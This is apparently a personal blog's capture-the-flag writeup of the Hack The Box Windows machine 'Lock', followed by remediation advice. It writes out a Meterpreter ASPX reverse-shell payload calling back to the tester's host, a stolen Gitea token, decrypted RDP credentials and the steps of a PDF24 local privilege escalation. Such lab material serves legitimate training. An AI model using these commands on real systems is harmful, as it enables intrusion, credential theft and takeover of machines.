Hacking Insights by Max Bautista

Lock writeup

Lock writeup

Box name: Lock

Difficulty: Easy

OS: Windows

Overview: Lock is an easy-difficulty Windows machine that involves enumerating a Gitea repository to find a Personal Access Token. This token is then used to deploy an ASPX web shell on the server, which provides an initial foothold. A password is then decrypted from an mRemoteNG configuration file, providing access to a new user account. Finally, a local privilege escalation vulnerability in the PDF24 application is exploited to obtain a shell with SYSTEM privileges.

Link: https://app.hackthebox.com/machines/Lock?tab=play_machine

Machine IP: 10.129.234.64

Ran rustscan against the machine.

rustscan -a 10.129.234.64 –ulimit 5000 -b 500 — -A -Pn

Navigated to the site on port 80 and 3000. Port 3000 is a Gitea instance. Searchsploit show some possible but not exact exploits, I’ll keep that on my mind. 

searchsploit Gitea

Ran feroxbuster on the main site.

feroxbuster -u http://10.129.234.64 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400,503,403

No robots.txt. Site is made by Bootstrap.

Nothing interesting in source. Feroxbuster found /CHANGELOG.txt but it doesn’t look important.

Checked out Gitea further and we see some dev-scripts from a user ellen.freeman.

Read the the code.

It looks like its looking for a token to hit the API. Poked around and under the commits there are actually 2 of them.

Clicked on the committed and the ‘Add repos.py’ commit had a hard coded token.

We can take this token and save is as a local variable.

export GITEA_ACCESS_TOKEN=43ce39bb0bd6bc489284f2905f033ca467a6362f 

Copy the code and run it.

python3 repos.py http://10.129.234.64:3000

I was able to clone the /website files.

git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website.git

When reading the the files I have already seen changelog.txt. Read readme.md and it says changes will be deployed.

This is a Microsoft IIS server so I wonder if I can upload a .aspx rev shell. Created a msfvenom payload.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx > reverse.aspx

Set up a multi/handler with msfconsole. Pushed it with git.

git config –global user.name “ellen.freeman”

git config –global user.email “ellen.freeman”

git commit -m “revshell”

git push

Triggered it by navigated to http://10.129.234.64/reverse.aspx and we get a shell.

While navigating through directories I noticed another user gale.dekarios.

There’s no flag in ellen’s files so we will likely need to get gale first. In documents of ellen though I noticed a config.xml which is for mRemoteNG and upon reading that it looks like we potentially have Gale’s credentials.

I have used this tool in the past https://github.com/haseebT/mRemoteNG-Decrypt to decrypt the file. I was not able to get that to work on this config.xml for some reason. I was wondering if I wasn’t doing this properly so I peeked at the write. This has a specific script https://raw.githubusercontent.com/gquere/mRemoteNG_password_decrypt/refs/heads/master/mremoteng_decrypt.py which I was able to use successfully. After further looking at the script https://github.com/haseebT/mRemoteNG-Decrypt tried decoding the full XML file.

python3 mremoteng_decrypt.py website/config.xml

Gale.Dekarios:ty8wnW9qCKDosXo6

Since RDP is open I was able to xfreerdp into the machine as Gale.

xfreerdp3 /v:10.129.234.64 /u:Gale.Dekarios /p:ty8wnW9qCKDosXo6

User.txt was on Gale’s desktop and also some applications PDF24 Launcher and PDF24 Toolbox that I have not seen before. Upon doing research I found it could be vulnerable to CVE-2023-49147 https://nvd.nist.gov/vuln/detail/CVE-2023-49147. Also found that site linking to this https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-msi-installer-in-pdf24-creator-geek-software-gmbh/. It says vulnerable version is 11.15.1 which ours is.

It looks like its actually the MSI installer that is vulnerable to privilege escalation. Upon poking around I was able to find the installer at C:\_install.

Essentially during the repair process it opens a cmd as SYSTEM and closes but we can use this tool to set an oplock on the file so it stays open https://github.com/googleprojectzero/symboliclink-testing-tools. Downloaded the tool to the victim machine.

Ran the SetOPLock then msiexec

SetOpLock.exe “C:\Program Files\PDF24\faxPrnInst.log” r

msiexec.exe /fa C:\_install\pdf24-creator-11.15.1-x64.msi

And we get the SYSTEM cmd.

Followed the remaining steps to get a interactive SYSTEM shell.

  • right click on the top bar of the cmd window
  • click on properties
  • under options click on the “Legacyconsolemode” link
  • open the link with a browser other than internet explorer or edge (both don’t open as SYSTEM when on Win11)
  • in the opened browser window press the key combination CTRL+o
  • type cmd.exe in the top bar and press Enter

And we get a system shell (remember to use firefox not edge).

Got root.txt.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 80 (HTTP), 443 (HTTPS), 3000 (Gitea), and 3389 (RDP). Browsed to port 80 and found a Bootstrap-built site. Port 3000 was a Gitea instance with a public repository from user ellen.freeman. Ran feroxbuster on the main site and found /CHANGELOG.txt with no sensitive content.

rustscan -a 10.129.234.64 –ulimit 5000 -b 500 — -A -Pn feroxbuster -u http://10.129.234.64 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

2 – Gitea personal access token discovery Explored the Gitea repository dev-scripts from ellen.freeman. Reviewed the commit history and found a hardcoded personal access token in the Add repos.py commit. Used the token to authenticate to the Gitea API and cloned the website repository. The README confirmed that changes pushed to the repo were automatically deployed to the web server.

Token recovered: 43ce39bb0bd6bc489284f2905f033ca467a6362f

git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website.git

3 – Initial Access – ASPX webshell via Git push Confirmed the web server was running IIS. Generated a Meterpreter ASPX reverse shell, committed it to the cloned website repository, and pushed it using the stolen token. Browsed to the deployed shell URL and caught a Meterpreter session as the IIS AppPool user. Found a second user gale.dekarios on the machine.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx > reverse.aspx git push

4 – mRemoteNG credential decryption and lateral movement Found a config.xml mRemoteNG configuration file in ellen’s Documents directory containing an encrypted password for gale.dekarios. Used a public mRemoteNG decryption script to recover the plaintext. RDP’d in as gale and retrieved user.txt.

python3 mremoteng_decrypt.py website/config.xml

Credentials recovered: Gale.Dekarios:ty8wnW9qCKDosXo6

5 – Privilege Escalation – PDF24 MSI repair oplock – CVE-2023-49147 Found PDF24 Creator 11.15.1 installed and an MSI installer in C:_install. Researched the version and found CVE-2023-49147, a local privilege escalation via the MSI repair process which opens a SYSTEM cmd window. Used SetOpLock to place an opportunistic lock on faxPrnInst.log to pause the repair at the right moment. Triggered msiexec repair and intercepted the SYSTEM cmd. Used the legacy console mode browser trick to spawn an interactive SYSTEM shell via Firefox. Retrieved root.txt.

SetOpLock.exe “C:\Program Files\PDF24\faxPrnInst.log” r msiexec.exe /fa C:\_install\pdf24-creator-11.15.1-x64.msi

Key Takeaways

  1. Personal access token hardcoded in a Git commit – A Gitea personal access token was committed to a public repository and remained in the commit history after the code was updated. Tokens and secrets must never be committed to any repository. Implement pre-commit hooks and secrets scanning tools to prevent credential commits and audit all repository history for historical secret exposure.
  2. Automatic deployment from a Git repository enabling webshell delivery – Changes pushed to the website repository were automatically deployed to the IIS web root, allowing any user with push access to deploy arbitrary ASPX files. Deployment pipelines must validate file types and content before deploying to production and must never deploy executable script files without explicit authorization.
  3. mRemoteNG encrypted credentials recoverable with default master password – The gale.dekarios credentials were stored in a config.xml file encrypted with mRemoteNG’s default static key, which is reversible with public tools. mRemoteNG configuration files must be encrypted with a strong custom master password and must not be stored in locations accessible to other users or service accounts.
  4. PDF24 MSI repair spawning SYSTEM cmd – CVE-2023-49147 (CVSS 7.8 High) – PDF24 Creator 11.15.1 was vulnerable to a local privilege escalation via the MSI repair process. An unprivileged user with access to the installer could pause the repair at a SYSTEM context window and escape to an interactive shell. Third-party applications with MSI installers must be kept patched and MSI repair functionality must be restricted to administrators only.
  5. MSI installer accessible to standard users in C:_install – The PDF24 MSI installer was stored in a world-accessible directory enabling any user to trigger the repair process. Installer files must be stored in locations accessible only to administrators and must be removed after deployment.

Remediation

[Immediate] Revoke the exposed Gitea access token and rotate it Revoke the token 43ce39bb0bd6bc489284f2905f033ca467a6362f immediately and generate a new token with the minimum required permissions. Audit all Gitea repository commit histories for additional exposed secrets and remove any findings. Implement repository secret scanning and pre-commit hooks across all Gitea repositories.

[Immediate] Patch PDF24 Creator to remediate CVE-2023-49147 (CVSS 7.8 High) Update PDF24 Creator to the latest patched version immediately. If patching is not immediately possible, remove the installer from C:_install and restrict access to the PDF24 application directory to administrators only. Audit all third-party applications for similar MSI repair vulnerabilities.

[Immediate] Rotate the Gale.Dekarios credentials and restrict mRemoteNG config access Rotate the gale.dekarios password immediately. Set restrictive permissions on the config.xml file so it is readable only by the owning user. Configure mRemoteNG to use a strong custom master password and audit all systems for mRemoteNG configuration files accessible to non-owning users.

[Immediate] Remove deployed webshells and restrict the deployment pipeline Audit the IIS web root for any unauthorized files including reverse.aspx and remove them immediately. Implement file type validation in the deployment pipeline rejecting ASPX and all other executable script types. Require code review and explicit authorization before any file is deployed to the web root.

[Short-term] Implement secrets scanning across all Git repositories Deploy a secrets scanning solution such as truffleHog or gitleaks to scan all existing repository history for exposed tokens, passwords, and API keys. Integrate scanning into the CI/CD pipeline to prevent future commits containing credential material. Enforce short token lifetimes and regular rotation for all personal access tokens.

[Long-term] Implement a secure deployment and application lifecycle baseline Define a hardening standard for all deployment pipelines covering file type restrictions, authorization requirements, and post-deployment integrity checks. Include third-party application patch management, MSI installer access controls, and credential file permissions in regular security audits and penetration tests.

Leave a comment